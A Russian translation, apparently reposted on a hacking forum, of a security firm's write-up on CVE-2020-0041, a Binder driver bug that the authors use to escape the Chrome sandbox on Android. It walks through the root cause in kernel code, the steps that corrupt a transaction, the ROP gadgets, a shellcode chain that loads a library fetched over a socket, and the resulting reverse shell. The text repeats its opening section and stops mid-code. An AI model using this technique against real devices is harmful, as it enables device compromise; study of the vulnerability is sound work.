Описание CVE-2020-0041 мы сообщили в Google в декабре 2019 года, и эксплоит для побега из песочницы Google Chrome, который мы написали с помощью этого бага.
Несколько месяцев назад мы обнаружили и эксплуатировали ошибку в драйвере Binder, о которой мы сообщили Google 10 декабря 2019 года. Эта ошибка была включена в бюллетень по безопасности Android за март 2020 года, в CVE-2020-0041 (https://source.android.com/security/bulletin/2020-03-01#kernel-components).
В этом и следующем постах мы опишем ошибку и два написанных нами эксплоита: эксплоит для побега из песочницы Chrome, использующий CVE-2020-0041 для компрометации процесса браузера Chrome из скомпрометированного рендерера, и эксплоит для повышения привилегий, который использует ту же ошибку, чтобы скомпрометировать ядро и перейти от обычного недоверенного приложения к руту.
Основная причина
Ошибка, а также некоторые компоненты для Binder уже были описаны Jean-Baptiste (https://twitter.com/jbcayrou) Cayrou из Synacktiv в этом посте (https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html) сразу после публикации бюллетеня по безопасности Android. Поскольку мы находим объяснение и сопровождающую графику в этом посте очень ясными, мы ограничимся необходимыми деталями кода в этом посте и направим заинтересованных читателей к нему для получения дополнительной информации.
Уязвимость была вызвана логической ошибкой при вычислении количества допустимых смещений, которые уже были проверены драйвером.
В частности, когда драйвер binder обрабатывает транзакцию, он проходит через множество смещений, проверяет и переводит объекты binder при каждом таком смещении.
Объекты типа BINDER_TYPE_PTR и BINDER_TYPE_FDA могут иметь родительский объект, который должен быть одним из уже проверенных объектов. Чтобы убедиться в этом, драйвер использует следующий код (https://android.googlesource.com/ke...id-10.0.0_r0.42/drivers/android/binder.c#3433) :
Вычисления num_valid в [1] и [3] неверны, так как вместо этого умножение на sizeof (binder_size_t) должно быть делением. В результате этой ошибки в качестве родителя объекта PTR или FDA может быть предоставлено смещенее выходящее за пределы.
Интересно, что эта ошибка была сделана только во время пути отправки транзакции, в то время как это же значение правильно вычисляется в коде очистки.
Повреждения транзакции
Даже несмотря на то, что смещение объекта выходящее за пределы кажется интересным, родительские объекты все еще проверяются функциями binder_validate_ptr и/или binder_validate_fixup, прежде чем их можно будет использовать. Следовательно, невозможно напрямую предоставить совершенно произвольный объект.
Вместо этого мы используем тот факт, что за смещенным массивом следуют так называемые дополнительные буферы или sg_buf в буфере транзакций, и что эти буферы копируются, когда встречается BINDER_TYPE_PTR ([2] в фрагменте кода выше).
Исходя из этого, если мы используем смещение выходящее за пределы допустимого диапазона ДО того, как мы скопируем соответствующие данные sg_buf, данные будут неинициализированы и извлечены из ранее выполненной транзакции. Однако, если смещение выходящее за пределы границ используется ПОСЛЕ копии соответствующего sg_buf, смещение будет взято из вновь скопированных данных.
Это точно такой же подход, который определен Synacktiv, и вы можете найти графическое описание в их блоге (https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html) и слайдах (https://www.synacktiv.com/ressources/thcon2020_binder.pdf).
Наш эксплоит затем выполняет следующие шаги, чтобы вызвать эту ситуацию:
1. Поддельный объект BINDER_TYPE_PTR добавляется к транзакции с определенным смещением fake_offset.
2. Допустимое смещение объекта BINDER_TYPE_PTR добавляется в legal_offset.
3. Добавляется объект BINDER_TYPE_PTR, для его родителя которого установлено смещение за пределами. Мы предварительно инициализируем смещение за пределами поля значением legal_offset, отправляя начальную транзакцию. Драйвер теперь имеет проверенный объект с родительским смещением вне границ, что также означает, что родительское смещение вне границ становится неявно доверенным.
4. Добавляется второй объект BINDER_TYPE_PTR с таким же родительским смещением за пределами границ. Однако на этот раз мы также добавляем буфер в этот объект. Копия в [2] установит смещение за пределами fake_offset.
Поскольку после обработки объекта на шаге 3 смещение за пределами неявно считается доверенным, драйвер теперь доверяет ложному BINDER_TYPE_PTR.
На этом этапе драйвер пытается исправить родительский буфер с указателем на скопированные данные sg_buf. Это делается с помощью binder_fixup_parent:
Здесь last_fixup_obj_off относится к объекту, проверенному на шаге 3, и, поскольку он был проверен, его родительское смещение также неявно является доверенным. Поэтому вызов binder_validate_fixup завершается успешно.
Однако содержимое в parent_offset было изменено во время обработки последнего объекта BINDER_TYPE_PTR, и теперь оно указывает на поддельный объект с полностью контролируемым содержимым (родительский фрагмент приведен выше).
Таким образом, мы можем предоставить произвольный buffer_offset в [1], который затем используется для копирования адреса sg_buf в [2].
Однако обратите внимание, что нам требуется знать значение b->user_data, чтобы копия успешно выполнялась. Хуже того, в коде, который в настоящее время поставляется с Pixel устройствами, следующий BUG_ON сработает, если он неправильный, что приведет к сбою ядра:
b-> user_data - это адрес буфера binder, куда копируется транзакция в адресном пространстве получателя.
Это значение легко понять, если мы можем отправить транзакцию в наш собственный процесс, что возможно, но требует использования некоторых приемов (мы обсудим один из этих приемов в следующих статьях). Кроме того, в случае браузера Chrome, выпущенного в настоящее время, это сопоставление происходит по одному и тому же адресу в устройстве визуализации и в процессе браузера. Точно так же обычные приложения Android наследуются от zygote или zygote64 и разделяют значительную часть их отображений.
Также обратите внимание, что вместо объекта BINDER_TYPE_PTR мы могли бы использовать объект BINDER_TYPE_FDA на последнем шаге. В этом случае драйвер будет обрабатывать произвольную часть транзакции как дескрипторы файла, отправлять их получателю и заменять номер дескриптора файла.
Это также может быть использовано для повреждения произвольных двойных слов, таких как проверенное смещение объекта. Это позволит вводить полностью произвольные объекты в транзакцию, если это необходимо.
Доступные примитивы
Используя наш примитив повреждения памяти, мы можем перезаписать части уже проверенных операций связывания. Поскольку эти значения должны быть доступны только для чтения любому, кроме ядра, остальная система доверяет им. Есть два этапа, на которых используются эти значения, которые мы могли бы нацелить для нашей атаки:
1. При получении поврежденной транзакции она обрабатывается компонентами пользовательского пространства. Это включает в себя libbinder (или libhwbinder, если используется /dev/hwbinder), а также верхние уровни.
2. Когда пользовательское пространство завершается с буфером транзакций, она просит драйвер освободить его с помощью команды BC_FREE_BUFFER. Это приводит к тому, что драйвер обрабатывает поврежденный буфер транзакций.
В этом посте мы сосредоточимся на том, что можно сделать, когда нацеливаемся на компоненты пользовательского пространства, а в последующих постах мы обсудим нацеливание на код очистки ядра.
Код, отвечающий за демаршализацию данных и объектов из транзакции binder, можно найти в Parcel.cpp (https://android.googlesource.com/pl...android-10.0.0_r31/libs/binder/Parcel.cpp#310) в libbinder. Следующий фрагмент кода выполняется, когда объект читается из транзакции:
Оттуда мы узнаем, что если мы испортим поле cookie объекта BINDER_TYPE_BINDER, мы в итоге будем управлять указателем sp<IBinder *>.
Чтобы понять, чего можно достичь из изолированной программной среды Chrome, мы можем взглянуть на сервисы, к которым мы можем обратиться либо из менеджера сервисов, либо из дескрипторов, к которым у нас уже есть доступ. Для первого мы можем взглянуть на политику SELinux (https://android.googlesource.com/pl...android-10.0.0_r31/private/isolated_app.te#97):
Это означает, что мы можем запросить у менеджера службы дескрипторы диспетчера операций, службы отображения, службы обновления WebView и службы Ashmem. Из того, что мы могли видеть, все эти процессы являются 64-битными, и мы находимся в 32-битном процессе. Следовательно, нам будет трудно даже вызвать ошибку, не выполнив проверку BUG_ON, описанную выше, если только у нас не возникнет дополнительная утечка из этих процессов.
Таким образом, мы обратились к дескрипторам binder, уже доступным для обычного процесса рендеринга Chrome. Для их идентификации мы использовали следующий фрагмент кода C, который позаимствовал служебные функции из кода менеджера служб AOSP (https://android.googlesource.com/pl...droid-10.0.0_r31/cmds/servicemanager/binder.c):
Внедрение этого кода в процесс рендеринга в системе Android 10 обеспечивает следующий вывод:
Все эти дескрипторы принадлежат 64-битным сервисным процессам, за исключением IParentProcess, который принадлежит браузеру Chrome. К счастью для нас, этот процесс также работает в 32-битном режиме в текущих выпусках Chrome, и поэтому мы можем нацеливаться на него. Взглянуть на определение интерфейса, однако, несколько удручает следующее (https://chromium.googlesource.com/c...ium/base/process_launcher/IParentProcess.aidl) :
Ни один из этих вызовов не очень интересен для наших целей, так как нет объектов, которые передаются вокруг. Однако, если мы углубимся в то, как реализованы объекты Binder, мы можем найти решение наших проблем в классе Bbinder (https://android.googlesource.com/pl...android-10.0.0_r31/libs/binder/Binder.cpp#250), из которого все (или большинство?) объекты выходят из:
Таким образом, в приведенном выше примере объект IResultReceiver будет указывать на контролируемые данные, если мы перезаписали его поле cookie ошибкой. Чтобы сделать это надежно, эксплоит выполняет следующие шаги:
1. Находит собственное отображение binder и дескриптор файла binder. Затем они используются для определения максимального размера транзакции, который мы можем отправить брокеру.
2. Вычисляет user_address как binder_mapping + MAPPING_SIZE -traction_size. Это адрес, с которого будет начинаться буфер принимаемой транзакции, при условии, что извлеченный максимальный размер транзакции соответствует свободному пространству в конце отображения binder процесса браузера.
3. Отправляет транзакцию, чтобы предварительно инициализировать значение out-of-bounds, которое будет использоваться в качестве смещения, когда мы вызовем ошибку.
4. Отправляет SHELL_COMMAND_TRANSACTION во время вызова ошибки. Это требует добавления нескольких объектов в транзакцию для достижения readStrongBindercalls:
* Три объекта дескриптора файла
* Количество аргументов, равное нулю (поэтому нет необходимости добавлять строки)
* Пустой binder как IShellCallback
* Дескриптор IParentProcess, который драйвер преобразует в объект binder. Здесь важно предоставить дескриптор, принадлежащий процессу браузера, так как в противном случае драйвер преобразует его в дескриптор вместо реального объекта.
* Поддельный объект PTR, не добавленный в транзакцию, который будет использоваться после появления ошибки.
* Законный объект PTR. Предварительно инициализированное смещение из шага 3 должно соответствовать смещению этого объекта в буфере транзакций.
* Второй объект PTR, родительское поле которого выходит за границы и указывает на предварительно инициализированное смещение, добавленное выше. Здесь мы используем буфер NULL, так что копирование не выполняется, но родительский объект за пределами границ принимается как действительный.
* Дополнительный PTR с тем же родителем, но на этот раз с буфером. Этот буфер заменит смещение за пределами границ, теперь он указывает на поддельный объект PTR вместо проверенного. Кроме того, родительский код исправления теперь будет записывать указатель на произвольное смещение от начала буфера, которое мы используем для изменения поля связующего узла IParentProcess.
* Окончательный PTR с новым буфером. Буфер будет скопирован, а его адрес будет записан в поле cookie родительским кодом исправления. Это означает, что буфер, который мы только что отправили, теперь будет интерпретироваться получающим кодом как объект IresultReceiver.[/QUOTE]
Обратите внимание, как мы добавили в транзакцию дополнительные объекты, которые фактически не анализируются классом BBinder, показанным выше.Однако это не является проблемой, поскольку код libbinder просто игнорирует дополнительные объекты, которые могут быть добавлены в транзакцию, если требуемые объекты присутствуют в ожидаемом порядке.
Таким образом, с этой настройкой мы получаем объект Binder, указывающий на контролируемые данные внутри самого отображения Binder.
От поддельного объекта до исполнения шеллкода
Поддельный объект преобразуется в объект IResultReceiver, который в конечном итоге вызывает выполнение значительного объема кода. Первое, что нам нужно убедиться, это то, что код может получить strong ссылку на объект.
В частности, объект RefBase используется для подсчета ссылок. Адрес этого объекта извлекается из первого слова нашего буфера. Затем указатель получается из экземпляра RefBase и счетчик ссылок увеличивается:
Указатель, разыменованный в [1], должен указывать на доступный для записи адрес, а его содержимое не должно быть специальным значением 0x10000000, чтобы избежать вызова в [2].
Первая часть проблематична, поскольку наш поддельный объект находится внутри binder отображения, которое всегда доступно только для чтения для пользовательского пространства. В нашем эксплоите мы установили этот указатель на временный буфер в сегменте данных libc. Мы можем сделать это, потому что мы уже предполагаем, что отображения целевого процесса очень похожи на наши собственные, поэтому мы можем просто взять наш собственный адрес libc.
После прохождения этого вызова incStrong код переходит к следующему косвенному вызову:
Значение *myobj здесь совпадает со значением нашего поддельного объекта, поэтому мы в конечном итоге вызываем указатель на функцию из нашего поддельного объекта и передаем адрес поддельного объекта в качестве первого параметра. Таким образом, с помощью следующего кода мы получаем выполнение кода:
utmp здесь - это адрес буфера в libc, который, кажется, используется, и это является частью доступного для записи отображения. Поскольку адрес libc для процесса рендеринга и процесса браузера идентичен, мы можем просто разрешить его в нашем собственном процессе. Точно так же мы разрешаем все гаджеты ROP по нашему собственному процессу.
Кроме того, поскольку адрес отображения binder также одинаков для обоих процессов, мы можем использовать его для вычисления адреса наших собственных данных в целевом процессе.
Поскольку поддельный объект также передается в качестве первого параметра, мы перемещаем стек в R0 с помощью гаджета ldm r0 !, {r2, r5, ip, sp, lr, pc} и запускаем цепочку ROP с начала объекта. Окончательная настройка выглядит следующим образом:
Однако тот факт, что отображение доступно только для чтения, делает невозможным вызов каких-либо функций, использующих стек. По этой причине наша цепочка ROP выполняет следующие шаги:
1. Используйте гаджет для сохранения r7 в буфер utmp. r7 содержит указатель на стек, когда наша цепочка ROP начинает выполняться, так что это позволяет нам позже установить для стека хорошее значение. Для этого мы используем следующий гаджет: str r7, [r0]; mov r0, r4; add sp, # 0xc; pop {r4, r5, r6, r7, pc}.
2. Используйте mmap для размещения страниц RWX по фиксированному адресу. Для этого мы используем следующий код из упаковщиков системных вызовов libc: svc 0; pop {r4-r7}; cmn r0, # 0x1000, bx lr.
3. Используйте несколько гаджетов ROP для копирования шелл-кода первого этапа в память RWX. В частности, мы используем str r1, [r0]; mov r0, lr; pop {r7, pc} для записи r1 по адресу, указанному r0 после извлечения этих регистров из стека.
- Перенесите стек в память RWX, вызовите cacheflush скопированного шеллкода и перейдите к нему. Мы используем гаджет pop {lr, pc} для подготовки адреса возврата для cacheflush и гаджет pop {r0, r1, ip, sp, pc} для поворота стека и вызова cacheflush.
Как только возвращается cacheflush, мы получаем выполнение шелл-кода и соответствующий стек чтения/записи. Чтобы уменьшить размер цепочки ROP, мы используем небольшой начальный шелл-код, который использует memcpy для копирования следующего этапа в память RWX, затем снова вызывает cacheflush и, наконец, переходит к нему.
Теперь, когда у нас есть неограниченное выполнение шеллкода, мы можем выполнить любое действие, требуемое для нашего эксплоита, а затем исправить процесс Chrome, чтобы пользователь мог спокойно продолжить просмотр.
Продление процесса
Чтобы добиться продолжения процесса, наш основной шеллкод подключается к 127.0.0.1:6666 и получает разделяемую библиотеку. Общая библиотека хранится как /data/data/<package_name>/test.so и загружается с использованием __loader_dlopen (https://android.googlesource.com/platform/bionic/+/refs/tags/android-10.0.0_r31/linker/dlfcn.cpp#153).
Символ __loader_dlopen в настоящее время разрешается эвристически с помощью кода, введенного для средства визуализации. Это необходимо, потому что dlopen по умолчанию предотвращает загрузку библиотек с нестандартных путей, поэтому мы следуем подходу, аналогичному(https://github.com/frida/frida-gum/...c60d5788/gum/backend-linux/gumandroid.c#L1517) подходу Frida (https://www.frida.re/).
После загрузки общего объекта шеллкод восстанавливает состояние процесса браузера.
Для этого мы используем один из кадров с более высоким стеком, который восстанавливает большинство регистров из стека. В частности, мы используем копии регистров, сохраненных art_quick_invoke_stub в libart.so:
Код средства визуализации анализирует код сборки ArtMethod::Invoke и находит адрес возврата для вызова art_quick_invoke_stub. Затем шеллкод просматривает стек, чтобы найти соответствующий кадр стека и восстановить все регистры перед возвратом.
Однако, просто возвращение туда приводит позже к краху Art VM в других точках.
Чтобы это исправить, мы проанализировали места падения. Наблюдаемые нами сбои были связаны со сборкой мусора и происходили в следующем коде:
Или на ассемблере:
В [1] мы видим, что смещение 0xDC от объекта Thread проверяется на нуль. В точке, куда мы возвращаемся, r6 указывает на текущий объект Thread.
Поэтому наш шелл-код получает текущее значение Thread * из восстановленных регистров и очищает это поле перед продолжением.
Финальная часть восстановления шеллкода выглядит следующим образом:
При этом процесс браузера продолжает работать чисто после загрузки нашего общего объекта.
Таким образом, общий объект может выполнять любые дополнительные действия, такие как запуск фонового потока или разветвление и запуск обратной оболочки.
Демонстрационное видео
В следующем видео показан процесс компрометации браузера Chrome на уязвимом Pixel 3 с уровнем исправления от февраля 2020 года. В левом верхнем углу вы видите рут шелл на целевом устройстве, которую мы используем, чтобы внедрить наш эксплоит в процесс рендеринга. В левом нижнем углу вы видите вывод нашего эксплоита через logcat.
Справа вы видите дисплей целевого устройства, где мы показываем настройки цели и запускаем Chrome. После запуска Chrome мы вводим шеллкод, используя рут шелл, и почти сразу получаем реверс шелл в правой верхней части экрана.
Как вы можете видеть, оболочка работает в контексте процесса браузера и поэтому вышла из песочницы.
Код и следующие шаги
Вы можете найти код для эксплоита, описанного в этом посте, в GitHub Blue Frost Security. Мы предоставляем код в виде набора исправлений для Chromium 78.0.3904.62 только для демонстрационных целей.
В следующем посте мы обсудим, как атаковать обработку, выполняемую ядром, чтобы добиться повышения привилегий до рута с помощью той же самой ошибки.
Источник: https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Несколько месяцев назад мы обнаружили и эксплуатировали ошибку в драйвере Binder, о которой мы сообщили Google 10 декабря 2019 года. Эта ошибка была включена в бюллетень по безопасности Android за март 2020 года, в CVE-2020-0041 (https://source.android.com/security/bulletin/2020-03-01#kernel-components).
В этом и следующем постах мы опишем ошибку и два написанных нами эксплоита: эксплоит для побега из песочницы Chrome, использующий CVE-2020-0041 для компрометации процесса браузера Chrome из скомпрометированного рендерера, и эксплоит для повышения привилегий, который использует ту же ошибку, чтобы скомпрометировать ядро и перейти от обычного недоверенного приложения к руту.
Основная причина
Ошибка, а также некоторые компоненты для Binder уже были описаны Jean-Baptiste (https://twitter.com/jbcayrou) Cayrou из Synacktiv в этом посте (https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html) сразу после публикации бюллетеня по безопасности Android. Поскольку мы находим объяснение и сопровождающую графику в этом посте очень ясными, мы ограничимся необходимыми деталями кода в этом посте и направим заинтересованных читателей к нему для получения дополнительной информации.
Уязвимость была вызвана логической ошибкой при вычислении количества допустимых смещений, которые уже были проверены драйвером.
В частности, когда драйвер binder обрабатывает транзакцию, он проходит через множество смещений, проверяет и переводит объекты binder при каждом таком смещении.
Объекты типа BINDER_TYPE_PTR и BINDER_TYPE_FDA могут иметь родительский объект, который должен быть одним из уже проверенных объектов. Чтобы убедиться в этом, драйвер использует следующий код (https://android.googlesource.com/ke...id-10.0.0_r0.42/drivers/android/binder.c#3433) :
Код:
case BINDER_TYPE_FDA: {
struct binder_object ptr_object;
binder_size_t parent_offset;
struct binder_fd_array_object *fda =
to_binder_fd_array_object(hdr);
[1] size_t num_valid = (buffer_offset - off_start_offset) *
sizeof(binder_size_t);
struct binder_buffer_object *parent =
binder_validate_ptr(target_proc, t->buffer,
&ptr_object, fda->parent,
off_start_offset,
&parent_offset,
num_valid);
/* ... */
} break;
case BINDER_TYPE_PTR: {
struct binder_buffer_object *bp =
to_binder_buffer_object(hdr);
size_t buf_left = sg_buf_end_offset - sg_buf_offset;
size_t num_valid;
/* ... */
[2] if (binder_alloc_copy_user_to_buffer(
&target_proc->alloc,
t->buffer,
sg_buf_offset,
(const void __user *)
(uintptr_t)bp->buffer,
bp->length)) {
binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
proc->pid, thread->pid);
return_error_param = -EFAULT;
return_error = BR_FAILED_REPLY;
return_error_line = __LINE__;
goto err_copy_data_failed;
}
/* Fixup buffer pointer to target proc address space */
bp->buffer = (uintptr_t)
t->buffer->user_data + sg_buf_offset;
sg_buf_offset += ALIGN(bp->length, sizeof(u64));
[3] num_valid = (buffer_offset - off_start_offset) *
sizeof(binder_size_t);
ret = binder_fixup_parent(t, thread, bp,
off_start_offset,
num_valid,
last_fixup_obj_off,
last_fixup_min_off);
Вычисления num_valid в [1] и [3] неверны, так как вместо этого умножение на sizeof (binder_size_t) должно быть делением. В результате этой ошибки в качестве родителя объекта PTR или FDA может быть предоставлено смещенее выходящее за пределы.
Интересно, что эта ошибка была сделана только во время пути отправки транзакции, в то время как это же значение правильно вычисляется в коде очистки.
Повреждения транзакции
Даже несмотря на то, что смещение объекта выходящее за пределы кажется интересным, родительские объекты все еще проверяются функциями binder_validate_ptr и/или binder_validate_fixup, прежде чем их можно будет использовать. Следовательно, невозможно напрямую предоставить совершенно произвольный объект.
Вместо этого мы используем тот факт, что за смещенным массивом следуют так называемые дополнительные буферы или sg_buf в буфере транзакций, и что эти буферы копируются, когда встречается BINDER_TYPE_PTR ([2] в фрагменте кода выше).
Исходя из этого, если мы используем смещение выходящее за пределы допустимого диапазона ДО того, как мы скопируем соответствующие данные sg_buf, данные будут неинициализированы и извлечены из ранее выполненной транзакции. Однако, если смещение выходящее за пределы границ используется ПОСЛЕ копии соответствующего sg_buf, смещение будет взято из вновь скопированных данных.
Это точно такой же подход, который определен Synacktiv, и вы можете найти графическое описание в их блоге (https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html) и слайдах (https://www.synacktiv.com/ressources/thcon2020_binder.pdf).
Наш эксплоит затем выполняет следующие шаги, чтобы вызвать эту ситуацию:
1. Поддельный объект BINDER_TYPE_PTR добавляется к транзакции с определенным смещением fake_offset.
2. Допустимое смещение объекта BINDER_TYPE_PTR добавляется в legal_offset.
3. Добавляется объект BINDER_TYPE_PTR, для его родителя которого установлено смещение за пределами. Мы предварительно инициализируем смещение за пределами поля значением legal_offset, отправляя начальную транзакцию. Драйвер теперь имеет проверенный объект с родительским смещением вне границ, что также означает, что родительское смещение вне границ становится неявно доверенным.
4. Добавляется второй объект BINDER_TYPE_PTR с таким же родительским смещением за пределами границ. Однако на этот раз мы также добавляем буфер в этот объект. Копия в [2] установит смещение за пределами fake_offset.
Поскольку после обработки объекта на шаге 3 смещение за пределами неявно считается доверенным, драйвер теперь доверяет ложному BINDER_TYPE_PTR.
На этом этапе драйвер пытается исправить родительский буфер с указателем на скопированные данные sg_buf. Это делается с помощью binder_fixup_parent:
Код:
parent = binder_validate_ptr(target_proc, b, &object, bp->parent,
off_start_offset, &parent_offset,
num_valid);
if (!parent) {
binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
proc->pid, thread->pid);
return -EINVAL;
}
if (!binder_validate_fixup(target_proc, b, off_start_offset,
parent_offset, bp->parent_offset,
last_fixup_obj_off,
last_fixup_min_off)) {
binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
proc->pid, thread->pid);
return -EINVAL;
}
if (parent->length < sizeof(binder_uintptr_t) ||
bp->parent_offset > parent->length - sizeof(binder_uintptr_t)) {
/* No space for a pointer here! */
binder_user_error("%d:%d got transaction with invalid parent offset\n",
proc->pid, thread->pid);
return -EINVAL;
}
[1] buffer_offset = bp->parent_offset +
(uintptr_t)parent->buffer - (uintptr_t)b->user_data;
[2] binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
&bp->buffer, sizeof(bp->buffer));
Здесь last_fixup_obj_off относится к объекту, проверенному на шаге 3, и, поскольку он был проверен, его родительское смещение также неявно является доверенным. Поэтому вызов binder_validate_fixup завершается успешно.
Однако содержимое в parent_offset было изменено во время обработки последнего объекта BINDER_TYPE_PTR, и теперь оно указывает на поддельный объект с полностью контролируемым содержимым (родительский фрагмент приведен выше).
Таким образом, мы можем предоставить произвольный buffer_offset в [1], который затем используется для копирования адреса sg_buf в [2].
Однако обратите внимание, что нам требуется знать значение b->user_data, чтобы копия успешно выполнялась. Хуже того, в коде, который в настоящее время поставляется с Pixel устройствами, следующий BUG_ON сработает, если он неправильный, что приведет к сбою ядра:
Код:
static void binder_alloc_do_buffer_copy(struct binder_alloc *alloc,
bool to_buffer,
struct binder_buffer *buffer,
binder_size_t buffer_offset,
void *ptr,
size_t bytes)
{
/* All copies must be 32-bit aligned and 32-bit size */
BUG_ON(!check_buffer(alloc, buffer, buffer_offset, bytes));
b-> user_data - это адрес буфера binder, куда копируется транзакция в адресном пространстве получателя.
Это значение легко понять, если мы можем отправить транзакцию в наш собственный процесс, что возможно, но требует использования некоторых приемов (мы обсудим один из этих приемов в следующих статьях). Кроме того, в случае браузера Chrome, выпущенного в настоящее время, это сопоставление происходит по одному и тому же адресу в устройстве визуализации и в процессе браузера. Точно так же обычные приложения Android наследуются от zygote или zygote64 и разделяют значительную часть их отображений.
Также обратите внимание, что вместо объекта BINDER_TYPE_PTR мы могли бы использовать объект BINDER_TYPE_FDA на последнем шаге. В этом случае драйвер будет обрабатывать произвольную часть транзакции как дескрипторы файла, отправлять их получателю и заменять номер дескриптора файла.
Это также может быть использовано для повреждения произвольных двойных слов, таких как проверенное смещение объекта. Это позволит вводить полностью произвольные объекты в транзакцию, если это необходимо.
Доступные примитивы
Используя наш примитив повреждения памяти, мы можем перезаписать части уже проверенных операций связывания. Поскольку эти значения должны быть доступны только для чтения любому, кроме ядра, остальная система доверяет им. Есть два этапа, на которых используются эти значения, которые мы могли бы нацелить для нашей атаки:
1. При получении поврежденной транзакции она обрабатывается компонентами пользовательского пространства. Это включает в себя libbinder (или libhwbinder, если используется /dev/hwbinder), а также верхние уровни.
2. Когда пользовательское пространство завершается с буфером транзакций, она просит драйвер освободить его с помощью команды BC_FREE_BUFFER. Это приводит к тому, что драйвер обрабатывает поврежденный буфер транзакций.
В этом посте мы сосредоточимся на том, что можно сделать, когда нацеливаемся на компоненты пользовательского пространства, а в последующих постах мы обсудим нацеливание на код очистки ядра.
Код, отвечающий за демаршализацию данных и объектов из транзакции binder, можно найти в Parcel.cpp (https://android.googlesource.com/pl...android-10.0.0_r31/libs/binder/Parcel.cpp#310) в libbinder. Следующий фрагмент кода выполняется, когда объект читается из транзакции:
Код:
status_t unflatten_binder(const sp<ProcessState>& proc,
const Parcel& in, sp<IBinder>* out)
{
const flat_binder_object* flat = in.readObject(false);
if (flat) {
switch (flat->hdr.type) {
case BINDER_TYPE_BINDER:
*out = reinterpret_cast<IBinder*>(flat->cookie);
return finish_unflatten_binder(nullptr, *flat, in);
Оттуда мы узнаем, что если мы испортим поле cookie объекта BINDER_TYPE_BINDER, мы в итоге будем управлять указателем sp<IBinder *>.
Чтобы понять, чего можно достичь из изолированной программной среды Chrome, мы можем взглянуть на сервисы, к которым мы можем обратиться либо из менеджера сервисов, либо из дескрипторов, к которым у нас уже есть доступ. Для первого мы можем взглянуть на политику SELinux (https://android.googlesource.com/pl...android-10.0.0_r31/private/isolated_app.te#97):
Код:
allow isolated_app activity_service:service_manager find;
allow isolated_app display_service:service_manager find;
allow isolated_app webviewupdate_service:service_manager find;
...
neverallow isolated_app {
service_manager_type
-activity_service
-ashmem_device_service
-display_service
-webviewupdate_service
}:service_manager find;
Это означает, что мы можем запросить у менеджера службы дескрипторы диспетчера операций, службы отображения, службы обновления WebView и службы Ashmem. Из того, что мы могли видеть, все эти процессы являются 64-битными, и мы находимся в 32-битном процессе. Следовательно, нам будет трудно даже вызвать ошибку, не выполнив проверку BUG_ON, описанную выше, если только у нас не возникнет дополнительная утечка из этих процессов.
Таким образом, мы обратились к дескрипторам binder, уже доступным для обычного процесса рендеринга Chrome. Для их идентификации мы использовали следующий фрагмент кода C, который позаимствовал служебные функции из кода менеджера служб AOSP (https://android.googlesource.com/pl...droid-10.0.0_r31/cmds/servicemanager/binder.c):
Код:
/*
* @bs must be a binder_state constructed from the already initialized binder fd in order
* to identify what interfaces are available to the renderer process.
*/
void check_available_interfaces(struct binder_state *bs) {
char txn_data[0x1000];
char reply_data[0x1000];
struct binder_io msg;
struct binder_io reply;
/* Iterate for a maximum of 100 handles */
for(int handle=1; handle <= 100; handle++) {
bio_init(&msg, txn_data, sizeof(txn_data), 10);
bio_init(&reply, reply_data, sizeof(reply_data), 10);
/* Retrieve handle interface */
int ret = binder_call(bs, &msg, &reply, handle, INTERFACE_TRANSACTION);
/* Check against wanted interface */
if (!ret) {
size_t sz = 0;
char string[1000] = {0};
uint16_t *str16 = bio_get_string16(&reply, &sz);
if (sz != 0 && sz < sizeof(string)-1) {
/* Convert to regular string */
for (uint32_t x=0 ; x < sz; x++)
string[x] = (char)str16[x];
__android_log_print(ANDROID_LOG_DEBUG, "PWN", "Interface for handle %d -> %s", handle, string);
}
}
}
}
Внедрение этого кода в процесс рендеринга в системе Android 10 обеспечивает следующий вывод:
Код:
10-25 17:03:14.392 9764 9793 D PWN : Interface for handle 1 -> android.app.IActivityManager
10-25 17:03:14.392 9764 9793 D PWN : Interface for handle 2 -> android.content.pm.IPackageManager
10-25 17:03:14.392 9764 9793 D PWN : Interface for handle 4 -> android.hardware.display.IDisplayManager
10-25 17:03:14.393 9764 9793 D PWN : Interface for handle 5 -> org.chromium.base.process_launcher.IParentProcess
10-25 17:03:14.394 9764 9793 D PWN : Interface for handle 6 -> android.ashmemd.IAshmemDeviceService
Все эти дескрипторы принадлежат 64-битным сервисным процессам, за исключением IParentProcess, который принадлежит браузеру Chrome. К счастью для нас, этот процесс также работает в 32-битном режиме в текущих выпусках Chrome, и поэтому мы можем нацеливаться на него. Взглянуть на определение интерфейса, однако, несколько удручает следующее (https://chromium.googlesource.com/c...ium/base/process_launcher/IParentProcess.aidl) :
Код:
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.base.process_launcher;
interface IParentProcess {
// Sends the child pid to the parent process. This will be called before any
// third-party code is loaded, and will be a no-op after the first call.
oneway void sendPid(int pid);
// Tells the parent proces the child exited cleanly. Not oneway to ensure
// the browser receives the message before child exits.
void reportCleanExit();
}
Ни один из этих вызовов не очень интересен для наших целей, так как нет объектов, которые передаются вокруг. Однако, если мы углубимся в то, как реализованы объекты Binder, мы можем найти решение наших проблем в классе Bbinder (https://android.googlesource.com/pl...android-10.0.0_r31/libs/binder/Binder.cpp#250), из которого все (или большинство?) объекты выходят из:
C:
status_t BBinder::onTransact(
uint32_t code, const Parcel& data, Parcel* reply, uint32_t /*flags*/)
{
switch (code) {
/* ... */
case SHELL_COMMAND_TRANSACTION: {
int in = data.readFileDescriptor();
int out = data.readFileDescriptor();
int err = data.readFileDescriptor();
int argc = data.readInt32();
Vector<String16> args;
for (int i = 0; i < argc && data.dataAvail() > 0; i++) {
args.add(data.readString16());
}
sp<IShellCallback> shellCallback = IShellCallback::asInterface(
data.readStrongBinder());
sp<IResultReceiver> resultReceiver = IResultReceiver::asInterface(
data.readStrongBinder());
// XXX can't add virtuals until binaries are updated.
//return shellCommand(in, out, err, args, resultReceiver);
(void)in;
(void)out;
(void)err;
